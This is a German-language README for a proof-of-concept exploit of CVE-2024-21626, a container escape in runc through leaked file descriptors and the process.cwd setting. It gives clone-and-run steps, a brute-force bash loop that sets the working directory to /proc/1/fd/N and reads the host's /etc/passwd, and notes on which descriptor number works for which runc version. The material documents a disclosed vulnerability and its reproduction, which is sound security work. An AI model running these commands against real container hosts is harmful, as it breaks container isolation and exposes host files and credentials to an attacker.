CVE-2024-21626

Nutzung:

1. git clone https://github.com/cdxiaodong/CVE-2024-21626

2. docker-compose up

Überprüfung: Wenn /etc/passwd des Hosts erhalten werden kann, ist die Schwachstelle vorhanden

Umgebung: runc: >=v1.0.0-rc93,<=1.1.11

Angriffsdetails und Prinzip: In den betroffenen Versionen von runc werden während der Initialisierung einige interne Dateideskriptoren preisgegeben, darunter ein Handle auf /sys/fs/cgroup des Hosts, und runc überprüft nicht, ob das endgültige Arbeitsverzeichnis im Mount-Namespace des Containers liegt. Ein Angreifer kann die process.cwd-Konfiguration auf /proc/self/fd/7 ändern oder den spezifischen Pfad, der beim Aufruf von runc exec auf dem Host über den Parameter --cwd übergeben wird, durch einen Symlink auf /proc/self/fd/7/ ersetzen, sodass Prozesse im Container auf das Dateisystem des Hosts zugreifen und es manipulieren können, wodurch die Isolationsmechanismen des Containers umgangen werden.

Weitere Details (GIF-Bild):

1. Der Angreifer verwendet ein selbst erstelltes Docker-PoC-Paket für den Angriff CVE-2024-21626 runc process.cwd und preisgegebene fds Containerausbruch | Snyk (snyk.io)
2. Dieses Docker-Image wurde noch nicht öffentlich als Open Source veröffentlicht (Stand 2024-02-01)
3. Offizielle Änderungslogik des Quellcodes: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc anfällig für Containerausbruch durch Process.CWD-Trick und preisgegebene FDS · CVE-2024-21626 · GitHub Advisory Database

CVE: CVE - CVE-2024-21626 (mitre.org) Entdecker dieser Schwachstelle: CVE-2024-21626 runc process.cwd und preisgegebene fds Containerausbruch | Snyk (snyk.io)

Die tatsächlichen FD können sich je nach Reihenfolge der Dateiöffnung ändern. Sie können das folgende Skript zum Brute-Force verwenden:

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Lokaler Test erfolgreich: fd/9 funktioniert mit runc-Version: 1.1.10, 1.1.2

Wenn runc --version 1.0.0 ist

Wenn runc --version 1.1.4 ist, funktioniert fd/8

Heute frisch veröffentlichte Schwachstelle Im Folgenden weitere Details

Kann mit folgenden Methoden reproduziert werden:

1. runc - input manuelle Breakpoint-Kompilierung
2. eBPF überwacht runc und setzt Breakpoints
3. runc create demo runc exec demo ls /proc/1/fd -a kann direkt die entsprechenden symbolischen Links anzeigen
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd Brute-Force

Todo: runc Breakpoint zum Abrufen von fd, um Automatisierung zu ermöglichen